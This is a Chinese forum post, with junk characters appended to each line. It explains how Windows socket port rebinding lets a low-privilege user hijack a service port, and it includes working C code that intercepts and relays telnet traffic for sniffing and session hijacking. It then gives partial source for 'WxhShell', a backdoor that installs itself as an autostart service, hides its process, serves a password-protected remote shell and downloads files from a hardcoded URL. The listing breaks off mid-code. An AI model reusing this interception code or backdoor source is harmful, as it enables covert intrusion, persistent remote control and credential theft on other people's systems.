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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: I~l qg  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =%` s-[5b  
`+w= p7ET  
  saddr.sin_family = AF_INET; )>~ jjR  
kqB# 9  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); L&6^(Bn   
b%l H=u  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); .>W [  
>/-H!jUF]  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 "G%S m")  
5WI bnV@  
  这意味着什么?意味着可以进行如下的攻击: q 4Pv\YO  
_i>_Sn1"  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 `R0~mx&6G  
3$"V,_TBZ  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) +pYgh8w@  
U*+-#  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 b@J"b(  
Rxdj}xy  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  hTa X@=Ra  
Z"c-Ly{vEj  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 z#gebr~_\  
=mLp g4  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 e!J5h <:  
Tu-lc)  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 _N;@jq\q  
#pZeGI|'J  
  #include z uNm !$  
  #include NK|U:p2H  
  #include & &CrF~  
  #include    2|7:`e~h  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ;40Z/#FI  
  int main() L:C/PnIV  
  { TeuZVy8a  
  WORD wVersionRequested; 9]N{8  
  DWORD ret; XR",.3LD  
  WSADATA wsaData; ([<{RjPb  
  BOOL val; z:S:[X 0  
  SOCKADDR_IN saddr; Sm[#L`eqW  
  SOCKADDR_IN scaddr; a5Vlfx  
  int err; 'bRf>=  
  SOCKET s; mNC?kp  
  SOCKET sc; t>quY$}4  
  int caddsize; . AA# G  
  HANDLE mt; i-w<5pGnf  
  DWORD tid;   <mP_K^9c  
  wVersionRequested = MAKEWORD( 2, 2 ); q5Zu'-Cx@  
  err = WSAStartup( wVersionRequested, &wsaData ); ,Gy,bcv{  
  if ( err != 0 ) { \4qF3#  
  printf("error!WSAStartup failed!\n"); *CGHp8  
  return -1; Ng<ic  
  } G8]{pbX  
  saddr.sin_family = AF_INET; 8m H6?,@6  
   `6-flc0r  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 o[wiQ9Tl  
}+lK'6  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); GR(m+%Vw!  
  saddr.sin_port = htons(23); )+v5 H  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) IM6n\EZ^  
  { {R(/Usg!=  
  printf("error!socket failed!\n"); n[y=DdiKGS  
  return -1; [jN Vk3  
  } Uf_mwEE  
  val = TRUE; %;]/Z%!  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 j/O9LygB  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) pHk$_t  
  { _`C|K>:  
  printf("error!setsockopt failed!\n"); A"DGn  
  return -1; orWF>o=1  
  } &Odrq#o?R  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; L})fYVX  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 }x{1{Bw>Y  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Gyy4)dP  
G@e;ms1  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ku57<kb  
  { ,F!-17_vt  
  ret=GetLastError(); b* n#XTV  
  printf("error!bind failed!\n"); N1E9w:T`  
  return -1; $0{ h Uex  
  } {>64-bU  
  listen(s,2); J#w=Z>oz<  
  while(1) %26HB w=JF  
  { \4G9 fR4  
  caddsize = sizeof(scaddr); U1yspHiZ  
  //接受连接请求 \2f?)id~  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); W }Ll)7(|T  
  if(sc!=INVALID_SOCKET) CyVi{"aF3  
  { ELG{xN=o  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); mWoN\Rwj  
  if(mt==NULL) nJgN2Z  
  { ,DW q  
  printf("Thread Creat Failed!\n"); p&xj7qwp@F  
  break; pxbuZ9w2Q  
  } &RS)U72  
  } HWL? doM  
  CloseHandle(mt); >_\]c-~<  
  } >Ir?)h  
  closesocket(s); IAmMO[9H  
  WSACleanup(); CJ3/8*;w  
  return 0; <g&GIFE,  
  }   zEE:C|50  
  DWORD WINAPI ClientThread(LPVOID lpParam) 2*-qEUl1  
  { tOj5b 7'ui  
  SOCKET ss = (SOCKET)lpParam; sBxCi~  
  SOCKET sc; Vn^8nS  
  unsigned char buf[4096]; Nhjz~S<o  
  SOCKADDR_IN saddr; H]dN'c-  
  long num; 8M['-  
  DWORD val; &` "uKO]  
  DWORD ret; ye {y[$#3  
  //如果是隐藏端口应用的话,可以在此处加一些判断 I$TD[W  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   : T4ap_Ycq  
  saddr.sin_family = AF_INET; )Ps<u-V  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); wC<FF2T  
  saddr.sin_port = htons(23); Nw1 .x  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) c)QOgXv  
  { 5 tVg++I  
  printf("error!socket failed!\n"); q~\[P4m  
  return -1; @a]`C $ 6  
  } 7,{!a56zX  
  val = 100; CS xB)-  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) T< <N U"n  
  { (WGEX(|  
  ret = GetLastError(); X=k|SayE8  
  return -1; gi/W3q3c6  
  } [}l 1`>  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )d5mZE!3  
  { @^Kw\s  
  ret = GetLastError(); y$|OE%S  
  return -1; 2$ \#BG  
  } 7ws[Rp8  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Z3 na.>Z  
  { \FIOFbwe  
  printf("error!socket connect failed!\n"); %G]WOq=q  
  closesocket(sc); Eo{js?1G_  
  closesocket(ss); n*qn8Dq  
  return -1; .18MMzdN  
  } CakB`q(8  
  while(1) ]!N|3"Ls  
  { &Mh]s\  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 `9VRT`e  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 n6GB2<y  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 s9?H#^Y5u  
  num = recv(ss,buf,4096,0); _ Av_jw`m  
  if(num>0) OxVe}Fym  
  send(sc,buf,num,0); dMH}%f5;1  
  else if(num==0) xNxSgvco ,  
  break; eq36mIo  
  num = recv(sc,buf,4096,0); ^pvnUODW[  
  if(num>0) @yn1#E,  
  send(ss,buf,num,0); , *Z!Bd8  
  else if(num==0) h\OMWJ~  
  break; xR5zm %\  
  } RMxFo\TK;  
  closesocket(ss); HS 1zA  
  closesocket(sc); Bjsg!^X7  
  return 0 ; RZ:= ';  
  } n]WVT@  
B P0*`TY  
USyOHHPW@  
========================================================== H_7EK  
b(:U]>J  
下边附上一个代码,,WXhSHELL p#AQXIF0  
4Y}{?]>pu  
========================================================== [-JU(:Rh  
yK:b $S  
#include "stdafx.h" _B^Q;54c  
6n$g73u<=3  
#include <stdio.h> &^^V*O  
#include <string.h> 'C<4{agS  
#include <windows.h> XlU`jv+  
#include <winsock2.h> Meo. V|1  
#include <winsvc.h> >du|DZq  
#include <urlmon.h> QNgfvy  
- 1tiy.^$F  
#pragma comment (lib, "Ws2_32.lib") '@,M 'H{  
#pragma comment (lib, "urlmon.lib") aqN6.t  
'/QS sZR  
#define MAX_USER   100 // 最大客户端连接数 h7F5-~SpD  
#define BUF_SOCK   200 // sock buffer  F'9#dR?  
#define KEY_BUFF   255 // 输入 buffer {Z(kzJwN  
=^`?O* /;  
#define REBOOT     0   // 重启 Y4I;-&d's  
#define SHUTDOWN   1   // 关机 ZA6)@Mn  
aLt2fB1)  
#define DEF_PORT   5000 // 监听端口 N)^` 15w  
qv.s-@l8  
#define REG_LEN     16   // 注册表键长度 `ehcj G1nY  
#define SVC_LEN     80   // NT服务名长度 ^K'@W  
q=`i  
// 从dll定义API h@yn0CU3.  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); :pvJpu$]  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `(o:;<&3  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); GX ;~K  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 20A`]-D  
}*s`R;B|,  
// wxhshell配置信息 ~"nF$DB  
struct WSCFG { u+5MrS [  
  int ws_port;         // 监听端口 S>V+IKW;(  
  char ws_passstr[REG_LEN]; // 口令 AS'%Md&I  
  int ws_autoins;       // 安装标记, 1=yes 0=no xSy`VuSl  
  char ws_regname[REG_LEN]; // 注册表键名 =C 7WQ  
  char ws_svcname[REG_LEN]; // 服务名 2v?fbrC5c  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (]N- HN]v  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Yh2[ nF_  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $* hqF1Q  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 2R];Pv  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 1U6 z2i+y  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 dpSNh1  
 jH>`:  
}; ]I'dnd3e  
#.j}:  
// default Wxhshell configuration U'k 0;  
struct WSCFG wscfg={DEF_PORT, ?!HU$>  
    "xuhuanlingzhe", ,=V9 ?  
    1, 7BkY0_KK  
    "Wxhshell", )9i$ 1"a(  
    "Wxhshell", @|([b r|O  
            "WxhShell Service", {2F@OfuCF  
    "Wrsky Windows CmdShell Service", LY;Fjb yU  
    "Please Input Your Password: ", M>[e1y>7  
  1, g5:?O,?  
  "http://www.wrsky.com/wxhshell.exe", yQ0:M/r;0  
  "Wxhshell.exe" ,0a\Ka {^  
    }; L Iz<fB  
i93 6+[  
// 消息定义模块 Kk`Lu S?  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1]69S(  
char *msg_ws_prompt="\n\r? for help\n\r#>"; rld8hFj  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 2F :8=_sA  
char *msg_ws_ext="\n\rExit."; 7@ \:l~{  
char *msg_ws_end="\n\rQuit."; U0Uy C  
char *msg_ws_boot="\n\rReboot..."; PdtL Cgd  
char *msg_ws_poff="\n\rShutdown..."; G>Hg0u0!,  
char *msg_ws_down="\n\rSave to "; y9b%P]i  
Ad&VOh+0  
char *msg_ws_err="\n\rErr!"; CEW1T_1U<\  
char *msg_ws_ok="\n\rOK!"; A `{hKS  
*:"@  
char ExeFile[MAX_PATH]; \PWH( E9  
int nUser = 0; TV=K3F5)M  
HANDLE handles[MAX_USER]; 5] LfJh+"n  
int OsIsNt; Dxy^r*B  
kH8/8  
SERVICE_STATUS       serviceStatus; t{s*,X\b  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Ec2;?pvd%J  
l dqU#{  
// 函数声明 Wy%FF\D.Y  
int Install(void); P ^ 4 @  
int Uninstall(void); |]?zH~L  
int DownloadFile(char *sURL, SOCKET wsh); Ss%1{s~ok  
int Boot(int flag); SL-;h#-y 4  
void HideProc(void); p6Z|)1O]  
int GetOsVer(void); h aApw(.%  
int Wxhshell(SOCKET wsl); bF6J>&]!  
void TalkWithClient(void *cs); uFha N\S  
int CmdShell(SOCKET sock); ,J8n}7aI  
int StartFromService(void); Vd(n2JMtG  
int StartWxhshell(LPSTR lpCmdLine); rtfRA<  
e[16 7uU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); aCI3Tx&2qT  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Z"RgqNf  
U (#JC(E-#  
// 数据结构和表定义 1X&.po  
SERVICE_TABLE_ENTRY DispatchTable[] = i[@13kr  
{ =YTcWB  
{wscfg.ws_svcname, NTServiceMain}, *= ?|n   
{NULL, NULL} a6-.|tt#t  
}; Z XGi> E  
#-@u Lc  
// 自我安装 -5 8q 6yA  
int Install(void) QeG9CS)E}j  
{ N -]/MB 8  
  char svExeFile[MAX_PATH]; |/vJ+aKq  
  HKEY key; r4fHD~#l{  
  strcpy(svExeFile,ExeFile); T4HJy|  
L-!1ybB^  
// 如果是win9x系统,修改注册表设为自启动 8'HS$J;C  
if(!OsIsNt) { )+hV+rM jp  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Be=rBrI>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i5t6$|u:&m  
  RegCloseKey(key); -^lc-$0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { c%J6!\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); C!*.jvhT  
  RegCloseKey(key); +)iMJ]>  
  return 0; P=5+I+  
    } ~e 1l7H;  
  } 9MYk5q.X:  
} Cq"KKuf  
else { e[fOm0^.c  
%^pi  
// 如果是NT以上系统,安装为系统服务 ^Aq0<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 7l=;I%  
if (schSCManager!=0) N);w~)MYh  
{ 67YC;J]n=z  
  SC_HANDLE schService = CreateService w8UuwFG?<  
  ( IB/3=4n^|  
  schSCManager, Y~-y\l;Tr  
  wscfg.ws_svcname, NEIkG>\7q  
  wscfg.ws_svcdisp, %,kP_[!>Q  
  SERVICE_ALL_ACCESS, ^taN?5  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #_@cI(P  
  SERVICE_AUTO_START, #Ub_m@@ 4  
  SERVICE_ERROR_NORMAL, yZ|"qP1  
  svExeFile, 8w&-O~M  
  NULL, .$%p0Yx+  
  NULL, _U<fS  
  NULL, En?V\|,  
  NULL, HYmC3  
  NULL ej`%}e%2  
  ); @h%V:c  
  if (schService!=0) d,b4q&^X8  
  { d,V#5l-6  
  CloseServiceHandle(schService); N Qk aW)  
  CloseServiceHandle(schSCManager); xc:E>-  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); amu;grH  
  strcat(svExeFile,wscfg.ws_svcname); [1VA`:?W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { =?<WCR C*  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 9=%zdz2_S  
  RegCloseKey(key); n qcq3o*B  
  return 0; s[yWBew  
    } tnRf!A;m  
  } z)qYW6o%  
  CloseServiceHandle(schSCManager); 5Q?Jm~H9  
} n/+X3JJ  
} FzT.9Vz7  
GXtMX ha,  
return 1; M&Ka ^h;N  
} \<4N'|:  
;b$P*dSG}  
// 自我卸载 B0fOAP1  
int Uninstall(void) za>UE,?h  
{ y_Y(Xx3  
  HKEY key; LKIMT  
Ms{";qiG  
if(!OsIsNt) { rFRcK>X\L  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -8TJ:#|N  
  RegDeleteValue(key,wscfg.ws_regname); _R4}\3}!  
  RegCloseKey(key); 8Bf >  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -+#%]P8l  
  RegDeleteValue(key,wscfg.ws_regname); m&.LJ*uM\K  
  RegCloseKey(key); ) r2Y@+.FN  
  return 0; \Pg~j\;F]  
  } R'Sd'pSDN  
} CdolZW-!"  
}  +\/Q  
else { ^9g$/8[^c_  
n ~t{]if"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); >rSjP1-F  
if (schSCManager!=0) o>el"0rn.h  
{ Wv;0PhF  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); '%N?r,x C  
  if (schService!=0) $@g]?*L:  
  { 8:ubtB  
  if(DeleteService(schService)!=0) { ewZ?+G+m  
  CloseServiceHandle(schService); [BWq9uE  
  CloseServiceHandle(schSCManager); @CMI$}!{V  
  return 0; [);oj<  
  } P*|N)S)X%  
  CloseServiceHandle(schService); i! .]U@{k  
  } FXQWT9Kk~_  
  CloseServiceHandle(schSCManager);  *}?[tR5  
} _:x]' w%  
} Kkvc Zs'4m  
q t"D!S_  
return 1; i Ha?b2=)  
} =%Y1] F  
6FUW^dt  
// 从指定url下载文件 'o AmA=  
int DownloadFile(char *sURL, SOCKET wsh) uYJS=NGNA  
{ cc@W 6W  
  HRESULT hr; u[>"_!T  
char seps[]= "/"; fr17|#L+s  
char *token; ER0 Yl  
char *file; YIQD9  
char myURL[MAX_PATH]; 6g(;2gY  
char myFILE[MAX_PATH]; mH o#"tc  
Y },E3<  
strcpy(myURL,sURL); Y(Q 0m|3P  
  token=strtok(myURL,seps); 18&"j 8'm  
  while(token!=NULL) !09)WtsEfx  
  { _NDQ2O  
    file=token; @rl5k(  
  token=strtok(NULL,seps); O-?rFNavxp  
  } K-qWT7<  
[xS7ae  
GetCurrentDirectory(MAX_PATH,myFILE); yD\q4G  
strcat(myFILE, "\\"); Tz @<hE  
strcat(myFILE, file); %~rEJB@{  
  send(wsh,myFILE,strlen(myFILE),0); y>o:5':;'  
send(wsh,"...",3,0); i3-5~@M  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); fSo8O  
  if(hr==S_OK) "?"  :  
return 0; !np_B0`  
else 73Dxf -  
return 1; u 3WU0Z`  
-(vHy/Hz.  
} :1'  
'+Dsmoy  
// 系统电源模块 tXE/aY*I  
int Boot(int flag) ~q>jXi  
{ _i =*0Q  
  HANDLE hToken; 92TuuN#{  
  TOKEN_PRIVILEGES tkp; $^x=i;>aK.  
,NO[Piok  
  if(OsIsNt) { "~r<ZG  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 1+%UZK= K  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); fB2ILRc  
    tkp.PrivilegeCount = 1; I4Do$&9<D  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; {`HbpM<=m]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); j{C~wy!J  
if(flag==REBOOT) { e$L C  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) l)r\SE1  
  return 0; h#1:ypA6l  
} 5Tn<  
else { 0\mf1{$"!7  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ys=2!P-[#  
  return 0; Z%~}*F}7X  
} wgz]R  
  } &A:&2sP8  
  else { 8vx ca]DcV  
if(flag==REBOOT) { `E~"T0RX  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) yY]x' 'K  
  return 0; [8u9q.IZ  
} }B%9cc  
else { 5;`Ot2  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) JMAdsg/  
  return 0; yLRe'5#m  
} 4s{=/,f  
} 8UB2 du@?  
y[J9"k(@  
return 1; 7-3  
} o0Teect=  
fb Bu^]^S  
// win9x进程隐藏模块 ?0)K[Kd'Y  
void HideProc(void) *,u{, $}2  
{ u ?V}pYX  
8kKL=  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); c{^1`(#?  
  if ( hKernel != NULL ) ( yLu=  
  { 6TRLHL~B  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); [kJ;Uxncz~  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); jd]L}%ax  
    FreeLibrary(hKernel); , S^y>  
  } 0Hrvr  
;9~YQW@|  
return; n)N!6u  
} G/ si( LK  
V 2Xv)  
// 获取操作系统版本 "d}']M?-h  
int GetOsVer(void) ,b^Y8_ltoT  
{ .BjWZj  
  OSVERSIONINFO winfo; ^/%o I;O{  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); |keU+De  
  GetVersionEx(&winfo); ~LI}   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) v1u~[c=|^  
  return 1; >07i"a  
  else HM(X8iNt  
  return 0; RrLj5Jq  
} ZKW1HL ]m  
{pQ8/Af!  
// 客户端句柄模块 .|"E:qTD  
int Wxhshell(SOCKET wsl) RJ'za1@z;b  
{ krGIE}5  
  SOCKET wsh; g3s5ra[  
  struct sockaddr_in client; =f@71D1  
  DWORD myID; 9~^k3!>0  
&R/-~w5  
  while(nUser<MAX_USER) AW;xlY= g  
{ 6x5Q*^w  
  int nSize=sizeof(client); J<NpA(@^  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); l_((3e[)  
  if(wsh==INVALID_SOCKET) return 1; +dCR$<e9r  
"cS7E5-|  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 5k=04=Iyh#  
if(handles[nUser]==0) U4Zx1ieCKH  
  closesocket(wsh); aeYz;&K  
else N) jNvzm  
  nUser++; 5T"h7^}e  
  } 0(C[][a*u  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); .R)Ho4CE  
F" G+/c/L  
  return 0; 2/ )~$0  
} { zL4dJw  
Z3<lJk\Y  
// 关闭 socket P;7[5HFF  
void CloseIt(SOCKET wsh) hey/#GC*  
{ mE+=H]`.p  
closesocket(wsh); | Eu#mN  
nUser--; TJcHqzcUc  
ExitThread(0); ~ hP]<$v  
} -R$Q`Xw  
t& yuo E  
// 客户端请求句柄 nbw8YO(=  
void TalkWithClient(void *cs) x wfdJ(&  
{ EE9eG31|r  
@Rd`/S@  
  SOCKET wsh=(SOCKET)cs; o`~,+6] D  
  char pwd[SVC_LEN]; svC m }`  
  char cmd[KEY_BUFF]; (h&=N a~  
char chr[1]; IQ JFL +f  
int i,j; j<?k$ 8H  
_Fkb$NJ"]Q  
  while (nUser < MAX_USER) { j;_E0j#  
)Zvn{  
if(wscfg.ws_passstr) { ;F2"gTQS  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7*+tG7I @  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3cH^ ,F  
  //ZeroMemory(pwd,KEY_BUFF); 43`Atw`\  
      i=0; M VE:JNm  
  while(i<SVC_LEN) { t,5AoK/NL9  
"NV~lJS%  
  // 设置超时 tB0f+ wC  
  fd_set FdRead; >(gbUW  
  struct timeval TimeOut; *Xu?(Jd  
  FD_ZERO(&FdRead); PTF|"^k+   
  FD_SET(wsh,&FdRead); :K*/  
  TimeOut.tv_sec=8; m*AiP]Qu  
  TimeOut.tv_usec=0; L3S29-T  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); LD;! s  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); m.yt?`  
u~'j?K.^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); tv9 R$-cJ  
  pwd=chr[0]; ;3 =RM\  
  if(chr[0]==0xd || chr[0]==0xa) { 7$kTeKiP  
  pwd=0; w\>@> *E>  
  break; 5BMrn0  
  } ](k}B*Ab h  
  i++; 70A* !v  
    } Y-y}gc_L  
X<:Zx#J?i  
  // 如果是非法用户,关闭 socket KhNE_. Z  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); LV]F?O[K=  
} j[$+hh3:  
dJ7!je1N*  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); -aM7>YR  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); AYoLpes  
r4pR[G._  
while(1) { _3m\r*(vmQ  
d?jzh 1  
  ZeroMemory(cmd,KEY_BUFF); KD8,a+GL  
8sU}[HH*1  
      // 自动支持客户端 telnet标准   o+T, O+i  
  j=0; 7eyx cr;z  
  while(j<KEY_BUFF) { "tU,.U  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); n{z!L-x^b  
  cmd[j]=chr[0]; u [LsH  
  if(chr[0]==0xa || chr[0]==0xd) { 82w=t  
  cmd[j]=0; ,M9Hdm  
  break; ~ =c[?:  
  } =\x(Rs3  
  j++; Ehg(xK  
    } 6iJ\7  
\`|OAC0a  
  // 下载文件 L[}Ak1 A  
  if(strstr(cmd,"http://")) { V?-OI>  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); z 5IdYF?  
  if(DownloadFile(cmd,wsh)) F44KbUH  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); cy( WD#^  
  else l#!6 tw+e?  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Tf.DFfV#y  
  } Kd').w  
  else { j# !U6T  
)\l(h%s[I  
    switch(cmd[0]) { yxL(mt8  
  r( 8!SVX  
  // 帮助 6e :#x:O  
  case '?': { = GZ,P (  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); U<.,"`=l  
    break; K|sx"u|?  
  } |Fp+9U  
  // 安装 FKk.BA957h  
  case 'i': { U9:I"f,  
    if(Install()) Eh|v>Yew  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6@geakq  
    else i>=!6Hu2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]Qh0+!SdG  
    break; \LQ54^eB  
    } \"?5CHz*  
  // 卸载 y-^m  
  case 'r': { hScC< =W  
    if(Uninstall()) #^eXnhj9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <~R{U> zO  
    else [W*Q~Wvp  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;]sbz4?  
    break; /zZ";4  
    } )|`|Usn#[  
  // 显示 wxhshell 所在路径 @;ob 4sU  
  case 'p': { OVa38Aucr3  
    char svExeFile[MAX_PATH]; bz\-%$^k  
    strcpy(svExeFile,"\n\r"); ~Rk ~Zn  
      strcat(svExeFile,ExeFile); IH$ZPux  
        send(wsh,svExeFile,strlen(svExeFile),0); ;FO( mL(  
    break;  mPS27z(  
    } xmBGZ4f%  
  // 重启 ERz{, >G?  
  case 'b': { 6Dz N.fz  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :~%{  
    if(Boot(REBOOT)) kP,^c {  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [ T!0ka  
    else { I*hzlE  
    closesocket(wsh); {'$+?V"&  
    ExitThread(0); o%sx(g=q6  
    } t?;\'  
    break; nX|]JW  
    } caXSt2|'  
  // 关机 l#cG#-  
  case 'd': { q3}WO] TBj  
